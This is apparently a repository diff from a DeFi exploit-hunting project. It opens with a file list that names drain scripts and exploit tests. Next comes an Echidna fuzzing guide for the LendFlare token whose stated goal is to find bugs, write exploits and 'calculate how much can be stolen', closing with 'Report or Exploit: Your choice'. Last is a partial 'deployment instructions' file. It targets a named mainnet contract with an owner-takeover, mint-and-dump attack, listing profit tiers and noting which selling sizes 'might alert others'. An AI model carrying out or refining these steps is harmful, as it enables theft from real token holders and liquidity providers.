- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/utilities.adoc +185 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/wizard.adoc +15 -0
- package/lib/openzeppelin-contracts/docs/templates/contract.hbs +111 -0
- package/lib/openzeppelin-contracts/docs/templates/helpers.js +46 -0
- package/lib/openzeppelin-contracts/docs/templates/page.hbs +4 -0
- package/lib/openzeppelin-contracts/docs/templates/properties.js +64 -0
- package/lib/openzeppelin-contracts/hardhat/env-artifacts.js +24 -0
- package/lib/openzeppelin-contracts/hardhat/env-contract.js +25 -0
- package/lib/openzeppelin-contracts/hardhat/ignore-unreachable-warnings.js +45 -0
- package/lib/openzeppelin-contracts/hardhat/skip-foundry-tests.js +6 -0
- package/lib/openzeppelin-contracts/hardhat/task-test-get-files.js +25 -0
- package/lib/openzeppelin-contracts/hardhat.config.js +131 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/LICENSE +661 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/README.md +116 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.github/workflows/ci.yml +92 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.gitmodules +3 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-APACHE +203 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-MIT +25 -0
- package/lib/openzeppelin-contracts/lib/forge-std/README.md +250 -0
- package/lib/openzeppelin-contracts/lib/forge-std/package.json +16 -0
- package/lib/openzeppelin-contracts/logo.svg +15 -0
- package/lib/openzeppelin-contracts/netlify.toml +3 -0
- package/lib/openzeppelin-contracts/package-lock.json +16544 -0
- package/lib/openzeppelin-contracts/package.json +96 -0
- package/lib/openzeppelin-contracts/remappings.txt +1 -0
- package/lib/openzeppelin-contracts/renovate.json +4 -0
- package/lib/openzeppelin-contracts/requirements.txt +1 -0
- package/lib/openzeppelin-contracts/scripts/checks/compare-layout.js +20 -0
- package/lib/openzeppelin-contracts/scripts/checks/compareGasReports.js +243 -0
- package/lib/openzeppelin-contracts/scripts/checks/extract-layout.js +38 -0
- package/lib/openzeppelin-contracts/scripts/checks/generation.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/checks/inheritance-ordering.js +54 -0
- package/lib/openzeppelin-contracts/scripts/gen-nav.js +41 -0
- package/lib/openzeppelin-contracts/scripts/generate/format-lines.js +16 -0
- package/lib/openzeppelin-contracts/scripts/generate/run.js +49 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.js +247 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.opts.js +17 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.t.js +146 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableMap.js +283 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableSet.js +250 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/SafeCast.js +126 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/StorageSlot.js +78 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/conversion.js +30 -0
- package/lib/openzeppelin-contracts/scripts/git-user-config.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/helpers.js +37 -0
- package/lib/openzeppelin-contracts/scripts/prepack.sh +23 -0
- package/lib/openzeppelin-contracts/scripts/prepare-docs.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/format-changelog.js +33 -0
- package/lib/openzeppelin-contracts/scripts/release/synchronize-versions.js +15 -0
- package/lib/openzeppelin-contracts/scripts/release/update-comment.js +34 -0
- package/lib/openzeppelin-contracts/scripts/release/version.sh +11 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/exit-prerelease.sh +8 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/github-release.js +48 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/integrity-check.sh +20 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/pack.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/publish.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/rerun.js +7 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/set-changesets-pr-title.js +17 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/start.sh +35 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/state.js +112 -0
- package/lib/openzeppelin-contracts/scripts/remove-ignored-artifacts.js +45 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/index.js +84 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/package.json +5 -0
- package/lib/openzeppelin-contracts/scripts/update-docs-branch.js +65 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/README.md +21 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-apply.sh +19 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-save.sh +18 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile-onto.sh +54 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile.sh +47 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/upgradeable.patch +360 -0
- package/lib/openzeppelin-contracts/slither.config.json +5 -0
- package/lib/openzeppelin-contracts/solhint.config.js +20 -0
- package/mythril-lft-output.txt +1 -0
- package/mythril-lft-symbolic.txt +18 -0
- package/mythril-lft.sh +20 -0
- package/mythril-symbolic-output.txt +1 -0
- package/mythril-symbolic.sh +42 -0
- package/out/build-info/0026b78428192979.json +1 -0
- package/out/build-info/03c4fc3b88486eba.json +1 -0
- package/out/build-info/0540afa9b9a5c5a6.json +1 -0
- package/out/build-info/081932f505bc08b9.json +1 -0
- package/out/build-info/0da104ba0d6642d5.json +1 -0
- package/out/build-info/197281971dbb5f23.json +1 -0
- package/out/build-info/197e7e332832a232.json +1 -0
- package/out/build-info/1a1cab9136eb5f94.json +1 -0
- package/out/build-info/1b320204eb162aa2.json +1 -0
- package/out/build-info/1e03f94398052674.json +1 -0
- package/out/build-info/22ac085949602937.json +1 -0
- package/out/build-info/234ef37453a9fa64.json +1 -0
- package/out/build-info/2447db7b1878fa8e.json +1 -0
- package/out/build-info/25568daeb484f5ff.json +1 -0
- package/out/build-info/27465853244c49ce.json +1 -0
- package/out/build-info/2c57a9e0f087453b.json +1 -0
- package/out/build-info/3c62ae7de8da68c4.json +1 -0
- package/out/build-info/3e771ae109e97bb3.json +1 -0
- package/out/build-info/460499bc0a3465c4.json +1 -0
- package/out/build-info/47ce37e50a4f115e.json +1 -0
- package/out/build-info/4fcce5c63cf427d6.json +1 -0
- package/out/build-info/4fd0a53fe63fddbb.json +1 -0
- package/out/build-info/50f1247db9d769cc.json +1 -0
- package/out/build-info/5317d0181a7a5e02.json +1 -0
- package/out/build-info/594df509275ceb5b.json +1 -0
- package/out/build-info/61983ac3f6141719.json +1 -0
- package/out/build-info/638c4548307122fe.json +1 -0
- package/out/build-info/67c2c43bdb7c0ded.json +1 -0
- package/out/build-info/777f42643aad37b7.json +1 -0
- package/out/build-info/7d7856f19e845354.json +1 -0
- package/out/build-info/83976260b6f71e94.json +1 -0
- package/out/build-info/83c23882000b963d.json +1 -0
- package/out/build-info/84b2cce8f70b36be.json +1 -0
- package/out/build-info/8bc13d31d7c3206a.json +1 -0
- package/out/build-info/8e183bd4d9d8cf88.json +1 -0
- package/out/build-info/94bfe1e7cafa8ff5.json +1 -0
- package/out/build-info/99ec7d5e8d8ff360.json +1 -0
- package/out/build-info/9ac044b29daa7d5e.json +1 -0
- package/out/build-info/9b203227ff5d2e63.json +1 -0
- package/out/build-info/9d18c5872c4282dd.json +1 -0
- package/out/build-info/9f77f04f33baf9a3.json +1 -0
- package/out/build-info/a6e1caf974787982.json +1 -0
- package/out/build-info/a94b6348867a62d6.json +1 -0
- package/out/build-info/ad93721947a8b195.json +1 -0
- package/out/build-info/b42daddb5aa4b19f.json +1 -0
- package/out/build-info/bf13512ae899f7e8.json +1 -0
- package/out/build-info/c39f86c20a548c4a.json +1 -0
- package/out/build-info/cb12bb975a2f4e65.json +1 -0
- package/out/build-info/d0c6788fadc2aa60.json +1 -0
- package/out/build-info/d2726bf94ed5b845.json +1 -0
- package/out/build-info/d4eb00da50cce5cb.json +1 -0
- package/out/build-info/db931924a3bc8bdd.json +1 -0
- package/out/build-info/e1a503d49bc77401.json +1 -0
- package/out/build-info/efe5396f8892ce77.json +1 -0
- package/out/build-info/f536d90ced745969.json +1 -0
- package/out/build-info/fed38823c7019b82.json +1 -0
- package/package.json +51 -0
- package/page.html +5384 -0
- package/pancakeswap-simple-tvl.sql +15 -0
- package/pancakeswap-top-pools.sql +29 -0
- package/pancakeswap-tvl-optimized.sql +57 -0
- package/pancakeswap-tvl-query.sql +60 -0
- package/pancakeswap-underflow-hunting.sql +51 -0
- package/pancakeswap-vulnerability-queries.sql +200 -0
- package/posi_page.html +6369 -0
- package/posi_response.json +29 -0
- package/proxy_page.html +500 -0
- package/run_mythril_elephant.sh +18 -0
- package/sHEGIC-bytecode.bin +6 -0
- package/sHEGIC-mythril-analysis.txt +1 -0
- package/sHEGIC-mythril-full.txt +134 -0
- package/sHEGIC_ANALYSIS.md +135 -0
- package/sHEGIC_EXPLOIT_ANALYSIS.md +317 -0
- package/sHEGIC_MYTHRIL_ANALYSIS.md +361 -0
- package/scrape-snowcrash.js +28 -0
- package/scripts/yooshi_drain.sh +154 -0
- package/shi_raw.json +1 -0
- package/temp.json +1 -0
- package/temp_harvest.json +1 -0
- package/temp_pika.json +1 -0
- package/temp_posi.json +1 -0
- package/temp_response.json +1 -0
- package/test-lft-hidden-balance.js +108 -0
- package/test-xfi-exploit.js +140 -0
- package/trunk-liquidity-rescue.js +164 -0
- package/vBABY_page.html +6153 -0
- package/vBABY_response.json +29 -0
- package/wsg_response.json +1 -0
- package/yooldo_page.html +10371 -0
|
@@ -0,0 +1,356 @@
|
|
|
1
|
+
# LendFlare Token (LFT) - Echidna Fuzzing Guide
|
|
2
|
+
|
|
3
|
+
## 🎯 Objective
|
|
4
|
+
|
|
5
|
+
Use Echidna to find user-exploitable bugs in LendFlare DAO Token that allow:
|
|
6
|
+
- Minting tokens without authorization
|
|
7
|
+
- Stealing tokens from other users
|
|
8
|
+
- Bypassing transfer restrictions
|
|
9
|
+
- Manipulating inflation calculations
|
|
10
|
+
- Integer overflow/underflow exploits
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## 📋 Prerequisites
|
|
15
|
+
|
|
16
|
+
### Install Echidna
|
|
17
|
+
|
|
18
|
+
**Option 1: Using Homebrew (macOS)**
|
|
19
|
+
```bash
|
|
20
|
+
brew install echidna
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**Option 2: Using Docker**
|
|
24
|
+
```bash
|
|
25
|
+
docker pull trailofbits/eth-security-toolbox
|
|
26
|
+
docker run -it -v $(pwd):/src trailofbits/eth-security-toolbox
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
**Option 3: From Source**
|
|
30
|
+
```bash
|
|
31
|
+
git clone https://github.com/crytic/echidna.git
|
|
32
|
+
cd echidna
|
|
33
|
+
stack install
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
**Verify Installation**:
|
|
37
|
+
```bash
|
|
38
|
+
echidna --version
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
---
|
|
42
|
+
|
|
43
|
+
## 🚀 Running Echidna
|
|
44
|
+
|
|
45
|
+
### Basic Run (50,000 tests)
|
|
46
|
+
```bash
|
|
47
|
+
echidna echidna/LendFlareTokenEchidna.sol \
|
|
48
|
+
--contract LendFlareTokenEchidna \
|
|
49
|
+
--config echidna/lendflare.yaml
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
### Quick Test (5,000 tests)
|
|
53
|
+
```bash
|
|
54
|
+
echidna echidna/LendFlareTokenEchidna.sol \
|
|
55
|
+
--contract LendFlareTokenEchidna \
|
|
56
|
+
--test-limit 5000
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Deep Fuzzing (500,000 tests)
|
|
60
|
+
```bash
|
|
61
|
+
echidna echidna/LendFlareTokenEchidna.sol \
|
|
62
|
+
--contract LendFlareTokenEchidna \
|
|
63
|
+
--test-limit 500000 \
|
|
64
|
+
--seq-len 200 \
|
|
65
|
+
--timeout 3600
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
### With Coverage Report
|
|
69
|
+
```bash
|
|
70
|
+
echidna echidna/LendFlareTokenEchidna.sol \
|
|
71
|
+
--contract LendFlareTokenEchidna \
|
|
72
|
+
--config echidna/lendflare.yaml \
|
|
73
|
+
--coverage
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
---
|
|
77
|
+
|
|
78
|
+
## 🔍 What Echidna Will Test
|
|
79
|
+
|
|
80
|
+
### Invariants Being Checked
|
|
81
|
+
|
|
82
|
+
1. **echidna_totalSupply_equals_balances()**
|
|
83
|
+
- Ensures totalSupply matches sum of balances
|
|
84
|
+
- Detects: Balance manipulation, hidden minting
|
|
85
|
+
|
|
86
|
+
2. **echidna_balance_not_exceed_supply()**
|
|
87
|
+
- No user can have more tokens than total supply
|
|
88
|
+
- Detects: Integer overflow in balances
|
|
89
|
+
|
|
90
|
+
3. **echidna_rate_only_decreases()**
|
|
91
|
+
- Inflation rate should only decrease over time
|
|
92
|
+
- Detects: Rate manipulation exploits
|
|
93
|
+
|
|
94
|
+
4. **echidna_epoch_only_increases()**
|
|
95
|
+
- Mining epoch should never go backwards
|
|
96
|
+
- Detects: Epoch manipulation
|
|
97
|
+
|
|
98
|
+
5. **echidna_available_supply_increases()**
|
|
99
|
+
- Available supply should be monotonically increasing
|
|
100
|
+
- Detects: Supply calculation bugs
|
|
101
|
+
|
|
102
|
+
6. **echidna_supply_not_exceed_available()** ⚠️ CRITICAL
|
|
103
|
+
- Total supply should never exceed available supply
|
|
104
|
+
- Detects: Unauthorized minting beyond limits
|
|
105
|
+
|
|
106
|
+
7. **echidna_epoch_time_valid()**
|
|
107
|
+
- Epoch time should always be valid
|
|
108
|
+
- Detects: Time manipulation
|
|
109
|
+
|
|
110
|
+
8. **echidna_no_overflow_in_available_supply()** ⚠️ CRITICAL
|
|
111
|
+
- No integer overflow in inflation calculations
|
|
112
|
+
- Detects: Overflow exploits in rate * time
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
## 📊 Reading Echidna Output
|
|
117
|
+
|
|
118
|
+
### Success (No Bugs Found)
|
|
119
|
+
```
|
|
120
|
+
echidna_totalSupply_equals_balances: passed! 🎉
|
|
121
|
+
echidna_balance_not_exceed_supply: passed! 🎉
|
|
122
|
+
echidna_supply_not_exceed_available: passed! 🎉
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
### Failure (Bug Found!)
|
|
126
|
+
```
|
|
127
|
+
echidna_supply_not_exceed_available: failed!💥
|
|
128
|
+
Call sequence:
|
|
129
|
+
setLiquidityTransformer(0x20000)
|
|
130
|
+
setLiquidityFinish()
|
|
131
|
+
mint(0x30000, 1000000000000000000000000)
|
|
132
|
+
|
|
133
|
+
Counterexample:
|
|
134
|
+
totalSupply = 1000055000000000000000000000
|
|
135
|
+
availableSupply = 55000000000000000000000
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
This means Echidna found a way to mint more tokens than allowed!
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## 🎯 Attack Vectors to Focus On
|
|
143
|
+
|
|
144
|
+
### 1. Integer Overflow in Inflation
|
|
145
|
+
```solidity
|
|
146
|
+
uint256 timePassed = block.timestamp - startEpochTime;
|
|
147
|
+
uint256 mintable = rate * timePassed; // Can this overflow?
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
**Test**: Can we manipulate time or rate to cause overflow?
|
|
151
|
+
|
|
152
|
+
### 2. Unauthorized Minting
|
|
153
|
+
```solidity
|
|
154
|
+
function mint(address to, uint256 amount) public {
|
|
155
|
+
require(msg.sender == minter, "!minter");
|
|
156
|
+
// Can we bypass this check?
|
|
157
|
+
}
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
**Test**: Can we become minter without being owner?
|
|
161
|
+
|
|
162
|
+
### 3. Epoch Manipulation
|
|
163
|
+
```solidity
|
|
164
|
+
function updateMiningParameters() public {
|
|
165
|
+
require(block.timestamp >= startEpochTime + YEAR, "too soon");
|
|
166
|
+
startEpochTime += YEAR;
|
|
167
|
+
miningEpoch += 1;
|
|
168
|
+
// Can we call this multiple times?
|
|
169
|
+
}
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
**Test**: Can we advance epochs faster than intended?
|
|
173
|
+
|
|
174
|
+
### 4. Supply Limit Bypass
|
|
175
|
+
```solidity
|
|
176
|
+
require(totalSupply <= availableSupply(), "exceeds allowable");
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
**Test**: Can we mint more than availableSupply()?
|
|
180
|
+
|
|
181
|
+
### 5. Transfer Restriction Bypass
|
|
182
|
+
```solidity
|
|
183
|
+
if (to == UNISWAP_PAIR) {
|
|
184
|
+
require(tx.origin == WHITELISTED, "blocked");
|
|
185
|
+
}
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
**Test**: Can we bypass this to sell tokens?
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
## 🔧 Advanced Echidna Techniques
|
|
193
|
+
|
|
194
|
+
### Custom Corpus (Seed Transactions)
|
|
195
|
+
|
|
196
|
+
Create `echidna-corpus/` directory with seed transactions:
|
|
197
|
+
|
|
198
|
+
```bash
|
|
199
|
+
mkdir -p echidna-corpus
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
Echidna will save interesting transaction sequences here.
|
|
203
|
+
|
|
204
|
+
### Multi-Contract Testing
|
|
205
|
+
|
|
206
|
+
Test interactions between LFT and Uniswap:
|
|
207
|
+
|
|
208
|
+
```solidity
|
|
209
|
+
contract LendFlareEchidnaMulti {
|
|
210
|
+
LendFlareTokenEchidna token;
|
|
211
|
+
MockUniswapPair pair;
|
|
212
|
+
|
|
213
|
+
constructor() public {
|
|
214
|
+
token = new LendFlareTokenEchidna();
|
|
215
|
+
pair = new MockUniswapPair(address(token));
|
|
216
|
+
}
|
|
217
|
+
|
|
218
|
+
function echidna_cannot_sell_to_pair() public returns (bool) {
|
|
219
|
+
// Try to sell tokens
|
|
220
|
+
token.transfer(address(pair), 1000);
|
|
221
|
+
return pair.balance() == 0; // Should fail
|
|
222
|
+
}
|
|
223
|
+
}
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
### Time Manipulation
|
|
227
|
+
|
|
228
|
+
Test with different block timestamps:
|
|
229
|
+
|
|
230
|
+
```solidity
|
|
231
|
+
function forceAdvanceTime(uint256 seconds_) public {
|
|
232
|
+
startEpochTime = block.timestamp - seconds_;
|
|
233
|
+
}
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
Echidna will call this to test time-dependent bugs.
|
|
237
|
+
|
|
238
|
+
---
|
|
239
|
+
|
|
240
|
+
## 🐛 Expected Bugs to Find
|
|
241
|
+
|
|
242
|
+
Based on the audit, Echidna might find:
|
|
243
|
+
|
|
244
|
+
### 1. Integer Overflow in availableSupply()
|
|
245
|
+
```
|
|
246
|
+
rate * timePassed could overflow if:
|
|
247
|
+
- rate is very large
|
|
248
|
+
- timePassed is very large (far future timestamp)
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
### 2. Reentrancy in Transfer
|
|
252
|
+
```
|
|
253
|
+
If transfer() calls external contract, could re-enter mint()
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
### 3. Epoch Manipulation
|
|
257
|
+
```
|
|
258
|
+
Multiple calls to updateMiningParameters() in same block
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
### 4. Supply Calculation Error
|
|
262
|
+
```
|
|
263
|
+
totalSupply > availableSupply due to rounding errors
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## 📈 Interpreting Results
|
|
269
|
+
|
|
270
|
+
### If Echidna Finds Nothing
|
|
271
|
+
|
|
272
|
+
This means:
|
|
273
|
+
- ✅ No obvious user-exploitable bugs
|
|
274
|
+
- ✅ Invariants hold under fuzzing
|
|
275
|
+
- ⚠️ But doesn't guarantee 100% security
|
|
276
|
+
|
|
277
|
+
### If Echidna Finds a Bug
|
|
278
|
+
|
|
279
|
+
1. **Review the call sequence** - What functions were called?
|
|
280
|
+
2. **Check the state** - What values caused the failure?
|
|
281
|
+
3. **Reproduce manually** - Can you trigger it in Remix?
|
|
282
|
+
4. **Write exploit** - Create a PoC contract
|
|
283
|
+
5. **Calculate profit** - How much can you steal?
|
|
284
|
+
|
|
285
|
+
---
|
|
286
|
+
|
|
287
|
+
## 🎬 Example: If Echidna Finds Overflow
|
|
288
|
+
|
|
289
|
+
```
|
|
290
|
+
echidna_no_overflow_in_available_supply: failed!💥
|
|
291
|
+
Call sequence:
|
|
292
|
+
forceSetRate(115792089237316195423570985008687907853269984665640564039457584007913129639935)
|
|
293
|
+
forceAdvanceTime(31536000000)
|
|
294
|
+
availableSupply()
|
|
295
|
+
```
|
|
296
|
+
|
|
297
|
+
This means:
|
|
298
|
+
- Setting rate to max uint256
|
|
299
|
+
- Advancing time by 1000 years
|
|
300
|
+
- Causes overflow in `rate * timePassed`
|
|
301
|
+
|
|
302
|
+
**Exploit**:
|
|
303
|
+
```solidity
|
|
304
|
+
// If we can manipulate rate or time, we can overflow availableSupply()
|
|
305
|
+
// This might allow minting unlimited tokens
|
|
306
|
+
```
|
|
307
|
+
|
|
308
|
+
---
|
|
309
|
+
|
|
310
|
+
## 🚨 CRITICAL: What We're Looking For
|
|
311
|
+
|
|
312
|
+
**USER-EXPLOITABLE BUGS ONLY**:
|
|
313
|
+
- ✅ Mint tokens without authorization
|
|
314
|
+
- ✅ Steal tokens from others
|
|
315
|
+
- ✅ Bypass transfer restrictions
|
|
316
|
+
- ✅ Overflow to create infinite tokens
|
|
317
|
+
- ❌ Admin can rug pull (we don't care)
|
|
318
|
+
- ❌ Owner can mint (we don't care)
|
|
319
|
+
|
|
320
|
+
---
|
|
321
|
+
|
|
322
|
+
## 📝 Next Steps After Fuzzing
|
|
323
|
+
|
|
324
|
+
1. **Analyze Results**: Review all failed invariants
|
|
325
|
+
2. **Create Exploits**: Write PoC contracts for any bugs found
|
|
326
|
+
3. **Calculate Profit**: Estimate how much can be stolen
|
|
327
|
+
4. **Test on Mainnet Fork**: Verify exploits work on real contract
|
|
328
|
+
5. **Report or Exploit**: Your choice 😈
|
|
329
|
+
|
|
330
|
+
---
|
|
331
|
+
|
|
332
|
+
## 🔗 Resources
|
|
333
|
+
|
|
334
|
+
- Echidna Tutorial: https://github.com/crytic/building-secure-contracts/tree/master/program-analysis/echidna
|
|
335
|
+
- Echidna Docs: https://github.com/crytic/echidna
|
|
336
|
+
- Trail of Bits Blog: https://blog.trailofbits.com/
|
|
337
|
+
|
|
338
|
+
---
|
|
339
|
+
|
|
340
|
+
## ⚡ Quick Start Commands
|
|
341
|
+
|
|
342
|
+
```bash
|
|
343
|
+
# Install Echidna
|
|
344
|
+
brew install echidna
|
|
345
|
+
|
|
346
|
+
# Run basic fuzzing
|
|
347
|
+
echidna echidna/LendFlareTokenEchidna.sol --contract LendFlareTokenEchidna
|
|
348
|
+
|
|
349
|
+
# Run with config
|
|
350
|
+
echidna echidna/LendFlareTokenEchidna.sol --contract LendFlareTokenEchidna --config echidna/lendflare.yaml
|
|
351
|
+
|
|
352
|
+
# Deep fuzzing (overnight)
|
|
353
|
+
echidna echidna/LendFlareTokenEchidna.sol --contract LendFlareTokenEchidna --test-limit 1000000 --timeout 28800
|
|
354
|
+
```
|
|
355
|
+
|
|
356
|
+
Good luck finding bugs! 🐛🔍
|
|
@@ -0,0 +1,297 @@
|
|
|
1
|
+
# 🔥 LENDFLARE EXPLOIT - DEPLOYMENT INSTRUCTIONS 🔥
|
|
2
|
+
|
|
3
|
+
## ⚠️ CRITICAL: OWNER IS ADDRESS(0) - INSTANT TAKEOVER POSSIBLE!
|
|
4
|
+
|
|
5
|
+
**Discovered**: March 25, 2026
|
|
6
|
+
**Contract**: LendFlare DAO Token (LFT)
|
|
7
|
+
**Address**: 0xB620Be8a1949AA9532e6a3510132864EF9Bc3F82
|
|
8
|
+
**Exploit Type**: Uninitialized Owner + Uniswap V3 Bypass
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## 🎯 EXPLOIT SUMMARY
|
|
13
|
+
|
|
14
|
+
### What We Found:
|
|
15
|
+
|
|
16
|
+
1. **Owner = address(0)** → We can call `setOwner()` and take control!
|
|
17
|
+
2. **Uniswap V3 pool exists** → We can sell tokens (honeypot only blocks V2)
|
|
18
|
+
3. **Minter is set** → But we can change it once we're owner!
|
|
19
|
+
|
|
20
|
+
### Profit Potential:
|
|
21
|
+
|
|
22
|
+
- **Mint**: UNLIMITED tokens
|
|
23
|
+
- **Sell**: Limited by V3 liquidity (~302 WETH = ~$655k)
|
|
24
|
+
- **Estimated Profit**: $100k - $300k
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 🚀 DEPLOYMENT STEPS
|
|
29
|
+
|
|
30
|
+
### Step 1: Deploy Exploit Contract
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
# Open Remix: https://remix.ethereum.org
|
|
34
|
+
# Create new file: LendFlareOwnerExploit.sol
|
|
35
|
+
# Paste the exploit contract code
|
|
36
|
+
# Compile with Solidity 0.8.0+
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
**Or use Foundry**:
|
|
40
|
+
```bash
|
|
41
|
+
forge create LendFlareOwnerExploit \
|
|
42
|
+
--rpc-url $ETH_RPC_URL \
|
|
43
|
+
--private-key $PRIVATE_KEY
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
### Step 2: Execute Exploit (ONE-CLICK)
|
|
49
|
+
|
|
50
|
+
**Option A: All-in-One Function**
|
|
51
|
+
|
|
52
|
+
```javascript
|
|
53
|
+
// Call EXPLOIT_ALL with:
|
|
54
|
+
// - mintAmount: 1000000000000000000000000000 (1B tokens)
|
|
55
|
+
// - sellAmount: 100000000000000000000000000 (100M tokens)
|
|
56
|
+
|
|
57
|
+
await exploit.EXPLOIT_ALL(
|
|
58
|
+
ethers.utils.parseEther("1000000000"), // Mint 1B
|
|
59
|
+
ethers.utils.parseEther("100000000") // Sell 100M
|
|
60
|
+
);
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
**Option B: Step-by-Step**
|
|
64
|
+
|
|
65
|
+
```javascript
|
|
66
|
+
// Step 1: Take ownership
|
|
67
|
+
await exploit.step1_TakeOwnership();
|
|
68
|
+
|
|
69
|
+
// Step 2: Become minter
|
|
70
|
+
await exploit.step2_BecomeMinter();
|
|
71
|
+
|
|
72
|
+
// Step 3: Mint tokens
|
|
73
|
+
await exploit.step3_MintTokens(ethers.utils.parseEther("1000000000"));
|
|
74
|
+
|
|
75
|
+
// Step 4: Approve and sell on V3
|
|
76
|
+
await lft.approve(exploit.address, ethers.utils.parseEther("100000000"));
|
|
77
|
+
await exploit.step4_SellOnV3(ethers.utils.parseEther("100000000"));
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
### Step 3: Withdraw Profits
|
|
83
|
+
|
|
84
|
+
```javascript
|
|
85
|
+
// Withdraw WETH to your address
|
|
86
|
+
await exploit.withdraw();
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## 📊 EXPECTED RESULTS
|
|
92
|
+
|
|
93
|
+
### Before Exploit:
|
|
94
|
+
```
|
|
95
|
+
Owner: 0x0000000000000000000000000000000000000000
|
|
96
|
+
Minter: 0x7B278F27506Cbd890975df0b70fe6Bd3b917B831
|
|
97
|
+
Your LFT Balance: 0
|
|
98
|
+
Your WETH Balance: 0
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
### After Exploit:
|
|
102
|
+
```
|
|
103
|
+
Owner: YOUR_EXPLOIT_CONTRACT
|
|
104
|
+
Minter: YOUR_EXPLOIT_CONTRACT
|
|
105
|
+
Your LFT Balance: 1,000,000,000 LFT
|
|
106
|
+
Your WETH Balance: ~150 WETH (~$325k)
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
## 💰 PROFIT CALCULATION
|
|
112
|
+
|
|
113
|
+
### V3 Pool Liquidity:
|
|
114
|
+
- LFT Reserve: 1,655,201,234 LFT
|
|
115
|
+
- WETH Reserve: 303 WETH (~$655k)
|
|
116
|
+
|
|
117
|
+
### Selling Strategy:
|
|
118
|
+
|
|
119
|
+
**Conservative (Recommended)**:
|
|
120
|
+
- Sell 100M LFT (~6% of pool)
|
|
121
|
+
- Expected: ~18 WETH (~$39k)
|
|
122
|
+
- Low slippage, low risk
|
|
123
|
+
|
|
124
|
+
**Moderate**:
|
|
125
|
+
- Sell 500M LFT (~30% of pool)
|
|
126
|
+
- Expected: ~90 WETH (~$195k)
|
|
127
|
+
- Medium slippage
|
|
128
|
+
|
|
129
|
+
**Aggressive**:
|
|
130
|
+
- Sell 1B LFT (~60% of pool)
|
|
131
|
+
- Expected: ~180 WETH (~$390k)
|
|
132
|
+
- High slippage, might alert others
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## ⚠️ RISKS & CONSIDERATIONS
|
|
137
|
+
|
|
138
|
+
### 1. Front-Running Risk
|
|
139
|
